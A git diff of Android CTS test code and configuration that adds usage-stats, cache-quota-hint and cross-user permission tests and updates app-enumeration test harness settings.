diff --git a/tests/tests/app.usage/src/android/app/usage/cts/CacheQuotaHintTest.java b/tests/tests/app.usage/src/android/app/usage/cts/CacheQuotaHintTest.java
new file mode 100644
index 0000000..d45fb90
--- /dev/null
+++ b/tests/tests/app.usage/src/android/app/usage/cts/CacheQuotaHintTest.java
@@ -0,0 +1,78 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy
+ * of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations
+ * under the License.
+ */
+
+package android.app.usage.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+
+import android.app.usage.CacheQuotaHint;
+import android.app.usage.UsageStats;
+import android.os.Parcel;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class CacheQuotaHintTest {
+
+    @Test
+    public void testCacheQuotaHintBuilder() throws Exception {
+        final CacheQuotaHint hint =
+                buildHint(/* volumeUuid= */ "uuid", /* uid= */ 0, /* quota= */ 100);
+        assertCacheQuotaHint(hint);
+    }
+
+    @Test
+    public void testCacheQuotaHintBuilderFromCacheQuotaHint() throws Exception {
+        final CacheQuotaHint hint = new CacheQuotaHint.Builder(
+                buildHint(/* volumeUuid= */ "uuid", /* uid= */ 0, /* quota= */ 100)).build();
+
+        assertCacheQuotaHint(hint);
+    }
+
+    @Test
+    public void testCacheQuotaHintParcelizeDeparcelize() throws Exception {
+        final CacheQuotaHint hint =
+                buildHint(/* volumeUuid= */ "uuid", /* uid= */ 0, /* quota= */ 100);
+
+        final Parcel p = Parcel.obtain();
+        hint.writeToParcel(p, 0);
+        p.setDataPosition(0);
+
+        final CacheQuotaHint targetHint = CacheQuotaHint.CREATOR.createFromParcel(p);
+        p.recycle();
+
+        assertCacheQuotaHint(targetHint);
+    }
+
+    private CacheQuotaHint buildHint(String volumeUuid, int uid, long quota) {
+        return new CacheQuotaHint.Builder()
+                .setVolumeUuid(volumeUuid)
+                .setUid(uid)
+                .setQuota(quota)
+                .setUsageStats(new UsageStats()).build();
+    }
+
+    private void assertCacheQuotaHint(CacheQuotaHint hint) {
+        assertEquals("uuid", hint.getVolumeUuid());
+        assertEquals(0, hint.getUid());
+        assertEquals(100, hint.getQuota());
+        assertNotNull(hint.getUsageStats());
+    }
+}
diff --git a/tests/tests/app.usage/src/android/app/usage/cts/TestService.java b/tests/tests/app.usage/src/android/app/usage/cts/TestService.java
index 5bd7dc1..58c254c 100644
--- a/tests/tests/app.usage/src/android/app/usage/cts/TestService.java
+++ b/tests/tests/app.usage/src/android/app/usage/cts/TestService.java
@@ -40,7 +40,7 @@
                         new Intent(this, Activities.ActivityOne.class)
                                 .setAction(Intent.ACTION_MAIN)
                                 .addCategory(Intent.CATEGORY_LAUNCHER)
-                                .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK), 0))
+                                .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK), PendingIntent.FLAG_MUTABLE_UNAUDITED))
                 .setOngoing(true)
                 .build();
         startForeground(1, status);
diff --git a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
index 2b68ac1..c1a1eb7 100644
--- a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
+++ b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
@@ -33,7 +33,6 @@
 import android.app.NotificationChannel;
 import android.app.NotificationManager;
 import android.app.PendingIntent;
-import android.app.usage.cts.ITestReceiver;
 import android.app.usage.EventStats;
 import android.app.usage.UsageEvents;
 import android.app.usage.UsageEvents.Event;
@@ -47,6 +46,8 @@
 import android.os.IBinder;
 import android.os.Parcel;
 import android.os.SystemClock;
+import android.os.UserHandle;
+import android.os.UserManager;
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.AppModeInstant;
 import android.provider.Settings;
@@ -118,6 +119,9 @@
             = "android.app.usage.cts.test1.SomeActivityWithLocus";
     private static final String TEST_APP_CLASS_SERVICE
             = "android.app.usage.cts.test1.TestService";
+    private static final String TEST_APP2_PKG = "android.app.usage.cts.test2";
+    private static final String TEST_APP2_CLASS_FINISHING_TASK_ROOT =
+            "android.app.usage.cts.test2.FinishingTaskRootActivity";
 
     private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(5);
     private static final long MINUTE = TimeUnit.MINUTES.toMillis(1);
@@ -138,6 +142,9 @@
     private String mTargetPackage;
     private String mCachedUsageSourceSetting;
     private String mCachedEnableRestrictedBucketSetting;
+    private int mOtherUser;
+    private Context mOtherUserContext;
+    private UsageStatsManager mOtherUsageStats;
 
     @Before
     public void setUp() throws Exception {
@@ -166,6 +173,12 @@
         // Force stop test package to avoid any running test code from carrying over to the next run
         SystemUtil.runWithShellPermissionIdentity(() -> mAm.forceStopPackage(TEST_APP_PKG));
         mUiDevice.pressHome();
+        // Destroy the other user if created
+        if (mOtherUser != 0) {
+            stopUser(mOtherUser, true, true);
+            removeUser(mOtherUser);
+            mOtherUser = 0;
+        }
     }
 
     private static void assertLessThan(long left, long right) {
@@ -205,11 +218,15 @@
         mUiDevice.wait(Until.hasObject(By.clazz(clazz)), TIMEOUT);
     }
 
-    private void launchTestActivity(String pkgName, String className) {
-        Intent intent = new Intent();
+    private Intent createTestActivityIntent(String pkgName, String className) {
+        final Intent intent = new Intent();
         intent.setClassName(pkgName, className);
         intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-        mContext.startActivity(intent);
+        return intent;
+    }
+
+    private void launchTestActivity(String pkgName, String className) {
+        mContext.startActivity(createTestActivityIntent(pkgName, className));
         mUiDevice.wait(Until.hasObject(By.clazz(pkgName, className)), TIMEOUT);
     }
 
@@ -221,6 +238,44 @@
 
     @AppModeFull(reason = "No usage events access in instant apps")
     @Test
+    public void testLastAnyTimeComponentUsed_launchActivity() throws Exception {
+        mUiDevice.wakeUp();
+        dismissKeyguard(); // also want to start out with the keyguard dismissed.
+
+        final long startTime = System.currentTimeMillis();
+        launchSubActivity(Activities.ActivityOne.class);
+        final long endTime = System.currentTimeMillis();
+
+        final Map<String, UsageStats> map = mUsageStatsManager.queryAndAggregateUsageStats(
+                startTime, endTime);
+        final UsageStats stats = map.get(mTargetPackage);
+        assertNotNull(stats);
+        final long lastTimeComponentUsed = stats.getLastTimeAnyComponentUsed();
+        assertLessThan(startTime, lastTimeComponentUsed);
+        assertLessThan(lastTimeComponentUsed, endTime);
+    }
+
+    @AppModeFull(reason = "No usage events access in instant apps")
+    @Test
+    public void testLastTimeAnyComponentUsedGlobal_launchActivity() throws Exception {
+        mUiDevice.wakeUp();
+        dismissKeyguard();
+
+        final long startDay = System.currentTimeMillis() / TimeUnit.DAYS.toMillis(1)
+                * TimeUnit.DAYS.toMillis(1);
+        launchSubActivity(Activities.ActivityOne.class);
+        final long endDay = System.currentTimeMillis() / TimeUnit.DAYS.toMillis(1)
+                * TimeUnit.DAYS.toMillis(1);
+
+        final long lastTimeAnyComponentUsed =
+                mUsageStatsManager.getLastTimeAnyComponentUsed(mTargetPackage);
+        assertLessThanOrEqual(startDay, lastTimeAnyComponentUsed);
+        assertLessThanOrEqual(lastTimeAnyComponentUsed, endDay);
+    }
+
+
+    @AppModeFull(reason = "No usage events access in instant apps")
+    @Test
     public void testOrderedActivityLaunchSequenceInEventLog() throws Exception {
         @SuppressWarnings("unchecked")
         Class<? extends Activity>[] activitySequence = new Class[] {
@@ -229,6 +284,7 @@
                 Activities.ActivityThree.class,
         };
         mUiDevice.wakeUp();
+        dismissKeyguard(); // also want to start out with the keyguard dismissed.
 
         final long startTime = System.currentTimeMillis();
         // Launch the series of Activities.
@@ -576,7 +632,7 @@
                         .setContentTitle("My notification")
                         .setContentText("Hello World!");
         final PendingIntent pi = PendingIntent.getActivity(mContext, 1,
-                new Intent(Settings.ACTION_SETTINGS), 0);
+                new Intent(Settings.ACTION_SETTINGS), PendingIntent.FLAG_IMMUTABLE);
         mBuilder.setContentIntent(pi);
         mNotificationManager.notify(1, mBuilder.build());
         Thread.sleep(500);
@@ -685,6 +741,59 @@
         fail("Couldn't find a user unlocked event.");
     }
 
+    @AppModeFull(reason = "No usage stats access in instant apps")
+    @Test
+    public void testCrossUserQuery_withPermission() throws Exception {
+        assumeTrue(UserManager.supportsMultipleUsers());
+        final long startTime = System.currentTimeMillis();
+        // Create user
+        final int userId = createUser("Test User");
+        startUser(userId, true);
+        installExistingPackageAsUser(mContext.getPackageName(), userId);
+
+        // Query as Shell
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            final UserHandle otherUser = UserHandle.of(userId);
+            final Context userContext = mContext.createContextAsUser(otherUser, 0);
+
+            final UsageStatsManager usmOther = userContext.getSystemService(
+                    UsageStatsManager.class);
+
+            waitUntil(() -> {
+                final List<UsageStats> stats = usmOther.queryUsageStats(
+                        UsageStatsManager.INTERVAL_DAILY, startTime, System.currentTimeMillis());
+                return stats.isEmpty();
+            }, false);
+        });
+        // user cleanup done in @After
+    }
+
+    @AppModeFull(reason = "No usage stats access in instant apps")
+    @Test
+    public void testCrossUserQuery_withoutPermission() throws Exception {
+        assumeTrue(UserManager.supportsMultipleUsers());
+        final long startTime = System.currentTimeMillis();
+        // Create user
+        final int userId = createUser("Test User");
+        startUser(userId, true);
+        installExistingPackageAsUser(mContext.getPackageName(), userId);
+
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            mOtherUserContext = mContext.createContextAsUser(UserHandle.of(userId), 0);
+            mOtherUsageStats = mOtherUserContext.getSystemService(UsageStatsManager.class);
+        });
+
+        try {
+            mOtherUsageStats.queryUsageStats(UsageStatsManager.INTERVAL_DAILY, startTime,
+                    System.currentTimeMillis());
+            fail("Query across users should require INTERACT_ACROSS_USERS permission");
+        } catch (SecurityException se) {
+            // Expected
+        }
+
+        // user cleanup done in @After
+    }
+
     // TODO(148887416): get this test to work for instant apps
     @AppModeFull(reason = "Test APK Activity not found when installed as an instant app")
     @Test
@@ -740,26 +849,6 @@
                 mUsageStatsManager.getAppStandbyBucket(mTargetPackage));
     }
 
-    /** Confirm the default value of {@link Settings.Global.ENABLE_RESTRICTED_BUCKET}. */
-    // TODO(148887416): get this test to work for instant apps
-    @AppModeFull(reason = "Test APK Activity not found when installed as an instant app")
-    @Test
-    public void testDefaultEnableRestrictedBucketOff() throws Exception {
-        setSetting(Settings.Global.ENABLE_RESTRICTED_BUCKET, null);
-
-        launchSubActivity(TaskRootActivity.class);
-        assertEquals("Activity launch didn't bring app up to ACTIVE bucket",
-                UsageStatsManager.STANDBY_BUCKET_ACTIVE,
-                mUsageStatsManager.getAppStandbyBucket(mTargetPackage));
-
-        // User force shouldn't have to deal with the timeout.
-        setStandByBucket(mTargetPackage, "restricted");
-        assertNotEquals("User was able to force into RESTRICTED bucket when bucket disabled",
-                UsageStatsManager.STANDBY_BUCKET_RESTRICTED,
-                mUsageStatsManager.getAppStandbyBucket(mTargetPackage));
-
-    }
-
     // TODO(148887416): get this test to work for instant apps
     @AppModeFull(reason = "Test APK Activity not found when installed as an instant app")
     @Test
@@ -1290,14 +1379,36 @@
         setUsageSourceSetting(Integer.toString(UsageStatsManager.USAGE_SOURCE_CURRENT_ACTIVITY));
         launchSubActivity(TaskRootActivity.class);
         // Usage should be attributed to the test app package
-        assertAppOrTokenUsed(TaskRootActivity.TEST_APP_PKG, true);
+        assertAppOrTokenUsed(TaskRootActivity.TEST_APP_PKG, true, TIMEOUT);
 
         SystemUtil.runWithShellPermissionIdentity(() -> mAm.forceStopPackage(TEST_APP_PKG));
 
         setUsageSourceSetting(Integer.toString(UsageStatsManager.USAGE_SOURCE_TASK_ROOT_ACTIVITY));
         launchSubActivity(TaskRootActivity.class);
         // Usage should be attributed to this package
-        assertAppOrTokenUsed(mTargetPackage, true);
+        assertAppOrTokenUsed(mTargetPackage, true, TIMEOUT);
+    }
+
+    @AppModeFull(reason = "No usage events access in instant apps")
+    @Test
+    public void testTaskRootAttribution_finishingTaskRoot() throws Exception {
+        setUsageSourceSetting(Integer.toString(UsageStatsManager.USAGE_SOURCE_TASK_ROOT_ACTIVITY));
+        mUiDevice.wakeUp();
+        dismissKeyguard(); // also want to start out with the keyguard dismissed.
+
+        launchTestActivity(TEST_APP2_PKG, TEST_APP2_CLASS_FINISHING_TASK_ROOT);
+        // Wait until the nested activity gets started
+        mUiDevice.wait(Until.hasObject(By.clazz(TEST_APP_PKG, TEST_APP_CLASS)), TIMEOUT);
+
+        // Usage should be attributed to the task root app package
+        assertAppOrTokenUsed(TEST_APP_PKG, false, TIMEOUT);
+        assertAppOrTokenUsed(TEST_APP2_PKG, true, TIMEOUT);
+        SystemUtil.runWithShellPermissionIdentity(() -> mAm.forceStopPackage(TEST_APP_PKG));
+        mUiDevice.wait(Until.gone(By.clazz(TEST_APP_PKG, TEST_APP_CLASS)), TIMEOUT);
+
+        // Usage should no longer be tracked
+        assertAppOrTokenUsed(TEST_APP_PKG, false, TIMEOUT);
+        assertAppOrTokenUsed(TEST_APP2_PKG, false, TIMEOUT);
     }
 
     @AppModeInstant
@@ -1361,11 +1472,7 @@
 
         final long startTime = System.currentTimeMillis();
 
-        Intent intent = new Intent();
-        intent.setClassName(TEST_APP_PKG, TEST_APP_CLASS);
-        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-        mContext.startActivity(intent);
-        mUiDevice.wait(Until.hasObject(By.clazz(TEST_APP_PKG, TEST_APP_CLASS)), TIMEOUT);
+        launchTestActivity(TEST_APP_PKG, TEST_APP_CLASS);
         SystemClock.sleep(500);
 
         // Destroy the activity
@@ -1416,11 +1523,7 @@
     }
 
     private void startAndDestroyActivityWithLocus() {
-        Intent intent = new Intent();
-        intent.setClassName(TEST_APP_PKG, TEST_APP_CLASS_LOCUS);
-        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-        mContext.startActivity(intent);
-        mUiDevice.wait(Until.hasObject(By.clazz(TEST_APP_PKG, TEST_APP_CLASS_LOCUS)), TIMEOUT);
+        launchTestActivity(TEST_APP_PKG, TEST_APP_CLASS_LOCUS);
         SystemClock.sleep(500);
 
         // Destroy the activity
@@ -1450,20 +1553,21 @@
 
     /**
      * Assert on an app or token's usage state.
+     *
      * @param entity name of the app or token
      * @param expected expected usage state, true for in use, false for not in use
      */
-    private void assertAppOrTokenUsed(String entity, boolean expected) throws IOException {
-        final String activeUsages = executeShellCmd("dumpsys usagestats apptimelimit actives");
-        final String[] actives = activeUsages.split("\n");
-        boolean found = false;
+    private void assertAppOrTokenUsed(String entity, boolean expected, long timeout)
+            throws IOException {
+        final long realtimeTimeout = SystemClock.elapsedRealtime() + timeout;
+        String activeUsages;
+        boolean found;
+        do {
+            activeUsages = executeShellCmd("dumpsys usagestats apptimelimit actives");
+            final String[] actives = activeUsages.split("\n");
+            found = Arrays.asList(actives).contains(entity);
+        } while (found != expected && SystemClock.elapsedRealtime() <= realtimeTimeout);
 
-        for (String active : actives) {
-            if (active.equals(entity)) {
-                found = true;
-                break;
-            }
-        }
         if (expected) {
             assertTrue(entity + " not found in list of active activities and tokens\n"
                     + activeUsages, found);
@@ -1525,4 +1629,61 @@
         final ITestReceiver testService = bindToTestService();
         return testService.isAppInactive(pkg);
     }
+
+    private int createUser(String name) throws Exception {
+        final String output = executeShellCmd(
+                "pm create-user " + name);
+        if (output.startsWith("Success")) {
+            return mOtherUser = Integer.parseInt(output.substring(output.lastIndexOf(" ")).trim());
+        }
+        throw new IllegalStateException(String.format("Failed to create user: %s", output));
+    }
+
+    private boolean removeUser(final int userId) throws Exception {
+        final String output = executeShellCmd(String.format("pm remove-user %s", userId));
+        if (output.startsWith("Error")) {
+            return false;
+        }
+        return true;
+    }
+
+    private boolean startUser(int userId, boolean waitFlag) throws Exception {
+        String cmd = "am start-user " + (waitFlag ? "-w " : "") + userId;
+
+        final String output = executeShellCmd(cmd);
+        if (output.startsWith("Error")) {
+            return false;
+        }
+        if (waitFlag) {
+            String state = executeShellCmd("am get-started-user-state " + userId);
+            if (!state.contains("RUNNING_UNLOCKED")) {
+                return false;
+            }
+        }
+        return true;
+    }
+
+    private boolean stopUser(int userId, boolean waitFlag, boolean forceFlag)
+            throws Exception {
+        StringBuilder cmd = new StringBuilder("am stop-user ");
+        if (waitFlag) {
+            cmd.append("-w ");
+        }
+        if (forceFlag) {
+            cmd.append("-f ");
+        }
+        cmd.append(userId);
+
+        final String output = executeShellCmd(cmd.toString());
+        if (output.contains("Error: Can't stop system user")) {
+            return false;
+        }
+        return true;
+    }
+
+    private void installExistingPackageAsUser(String packageName, int userId)
+            throws Exception {
+        executeShellCmd(
+                String.format("pm install-existing --user %d --wait %s", userId, packageName));
+    }
 }
diff --git a/tests/tests/app/src/android/app/cts/RemoteActionTest.java b/tests/tests/app/src/android/app/cts/RemoteActionTest.java
index 2f71ed4..9899553 100644
--- a/tests/tests/app/src/android/app/cts/RemoteActionTest.java
+++ b/tests/tests/app/src/android/app/cts/RemoteActionTest.java
@@ -40,7 +40,8 @@
         String title = "title";
         String description = "description";
         PendingIntent action = PendingIntent.getBroadcast(
-                InstrumentationRegistry.getTargetContext(), 0, new Intent("TESTACTION"), 0);
+                InstrumentationRegistry.getTargetContext(), 0, new Intent("TESTACTION"),
+                PendingIntent.FLAG_IMMUTABLE);
         RemoteAction reference = new RemoteAction(icon, title, description, action);
         reference.setEnabled(false);
         reference.setShouldShowIcon(false);
@@ -64,7 +65,8 @@
         String title = "title";
         String description = "description";
         PendingIntent action = PendingIntent.getBroadcast(
-                InstrumentationRegistry.getTargetContext(), 0, new Intent("TESTACTION"), 0);
+                InstrumentationRegistry.getTargetContext(), 0, new Intent("TESTACTION"),
+                PendingIntent.FLAG_IMMUTABLE);
         RemoteAction reference = new RemoteAction(icon, title, description, action);
         reference.setEnabled(false);
         reference.setShouldShowIcon(false);
diff --git a/tests/tests/appcomponentfactory/TEST_MAPPING b/tests/tests/appcomponentfactory/TEST_MAPPING
new file mode 100644
index 0000000..a69b8bc
--- /dev/null
+++ b/tests/tests/appcomponentfactory/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsAppComponentFactoryTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/appenumeration/AndroidTest.xml b/tests/tests/appenumeration/AndroidTest.xml
index 26f6b90..51df9a1 100644
--- a/tests/tests/appenumeration/AndroidTest.xml
+++ b/tests/tests/appenumeration/AndroidTest.xml
@@ -29,6 +29,7 @@
         <option name="test-file-name" value="CtsAppEnumerationForceQueryableNormalInstall.apk" />
         <option name="test-file-name" value="CtsAppEnumerationFilters.apk" />
         <option name="test-file-name" value="CtsAppEnumerationNoApi.apk" />
+        <option name="test-file-name" value="CtsAppEnumerationStub.apk" />
         <option name="test-file-name" value="CtsAppEnumerationContactsActivityTarget.apk" />
         <option name="test-file-name" value="CtsAppEnumerationDocumentsActivityTarget.apk" />
         <option name="test-file-name" value="CtsAppEnumerationShareActivityTarget.apk" />
@@ -52,6 +53,8 @@
         <option name="test-file-name" value="CtsAppEnumerationQueriesPackage.apk" />
         <option name="test-file-name" value="CtsAppEnumerationQueriesNothingTargetsQ.apk" />
         <option name="test-file-name" value="CtsAppEnumerationQueriesNothingHasPermission.apk" />
+        <option name="test-file-name" value="CtsAppEnumerationQueriesNothingUsesLibrary.apk" />
+        <option name="test-file-name" value="CtsAppEnumerationQueriesNothingUsesOptionalLibrary.apk" />
         <option name="test-file-name" value="CtsAppEnumerationQueriesNothingHasProvider.apk" />
         <option name="test-file-name" value="CtsAppEnumerationWildcardBrowsableActivitySource.apk" />
         <option name="test-file-name" value="CtsAppEnumerationWildcardContactsActivitySource.apk" />
@@ -59,6 +62,8 @@
         <option name="test-file-name" value="CtsAppEnumerationWildcardShareActivitySource.apk" />
         <option name="test-file-name" value="CtsAppEnumerationWildcardWebActivitySource.apk" />
         <option name="test-file-name" value="CtsAppEnumerationWildcardBrowserActivitySource.apk" />
+        <option name="test-file-name" value="CtsAppEnumerationSyncadapterTarget.apk" />
+        <option name="test-file-name" value="CtsAppEnumerationSyncadapterSharedUidTarget.apk" />
     </target_preparer>
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
@@ -70,12 +75,17 @@
     <!-- Create place to store apks -->
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="run-command" value="mkdir -p /data/local/tmp/cts/appenumeration" />
+        <option name="run-command" value="am compat enable ALLOW_TEST_API_ACCESS android.appenumeration.queries.nothing" />
+        <option name="run-command" value="am compat enable ALLOW_TEST_API_ACCESS android.appenumeration.queries.nothing.haspermission" />
         <option name="teardown-command" value="rm -rf /data/local/tmp/cts"/>
+        <option name="teardown-command" value="am compat reset ALLOW_TEST_API_ACCESS android.appenumeration.queries.nothing" />
+        <option name="teardown-command" value="am compat reset ALLOW_TEST_API_ACCESS android.appenumeration.queries.nothing.haspermission" />
     </target_preparer>
 
     <!-- Load additional APKs onto device -->
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
         <option name="push" value="CtsAppEnumerationNoApi.apk->/data/local/tmp/cts/appenumeration/CtsAppEnumerationNoApi.apk" />
+        <option name="push" value="CtsAppEnumerationStub.apk->/data/local/tmp/cts/appenumeration/CtsAppEnumerationStub.apk" />
         <option name="push" value="CtsAppEnumerationFilters.apk->/data/local/tmp/cts/appenumeration/CtsAppEnumerationFilters.apk" />
         <option name="push" value="CtsAppEnumerationQueriesNothingSeesInstaller.apk->/data/local/tmp/cts/appenumeration/CtsAppEnumerationQueriesNothingSeesInstaller.apk" />
     </target_preparer>
diff --git a/tests/tests/appenumeration/app/source/Android.bp b/tests/tests/appenumeration/app/source/Android.bp
index d2901e0..deee2f4 100644
--- a/tests/tests/appenumeration/app/source/Android.bp
+++ b/tests/tests/appenumeration/app/source/Android.bp
@@ -189,6 +189,28 @@
 }
 
 android_test_helper_app {
+    name: "CtsAppEnumerationQueriesNothingUsesLibrary",
+    manifest: "AndroidManifest-queriesNothing-usesLibrary.xml",
+    defaults: ["CtsAppEnumerationQueriesDefaults"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
+
+android_test_helper_app {
+    name: "CtsAppEnumerationQueriesNothingUsesOptionalLibrary",
+    manifest: "AndroidManifest-queriesNothing-usesOptionalLibrary.xml",
+    defaults: ["CtsAppEnumerationQueriesDefaults"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
+
+android_test_helper_app {
     name: "CtsAppEnumerationQueriesNothingHasProvider",
     manifest: "AndroidManifest-queriesNothing-hasProvider.xml",
     defaults: ["CtsAppEnumerationQueriesDefaults"],
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesActivityAction.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesActivityAction.xml
index 2eba524..6641c9a 100644
--- a/tests/tests/appenumeration/app/source/AndroidManifest-queriesActivityAction.xml
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesActivityAction.xml
@@ -1,18 +1,18 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
-  ~ Copyright (C) 2019 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
+    Copyright (C) 2019 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-hasPermission.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-hasPermission.xml
index 564f712..7e84769 100644
--- a/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-hasPermission.xml
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-hasPermission.xml
@@ -1,18 +1,18 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
-  ~ Copyright (C) 2019 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
+    Copyright (C) 2019 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
@@ -20,7 +20,7 @@
     <permission android:name="android.appenumeration.queries.nothing.haspermission.READ" />
     <uses-permission android:name="android.appenumeration.queries.nothing.haspermission.READ" />
     <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
-    <application>
+    <application android:debuggable="true">
         <uses-library android:name="android.test.runner" />
         <activity android:name="android.appenumeration.cts.query.TestActivity"
                   android:exported="true" />
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-hasProvider.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-hasProvider.xml
index 1e94c1b..d046e70 100644
--- a/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-hasProvider.xml
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-hasProvider.xml
@@ -1,18 +1,18 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
-  ~ Copyright (C) 2020 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
+    Copyright (C) 2020 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-seesInstaller.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-seesInstaller.xml
index 0126775..1d5f0bc 100644
--- a/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-seesInstaller.xml
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-seesInstaller.xml
@@ -1,18 +1,18 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
-  ~ Copyright (C) 2020 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
+    Copyright (C) 2020 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
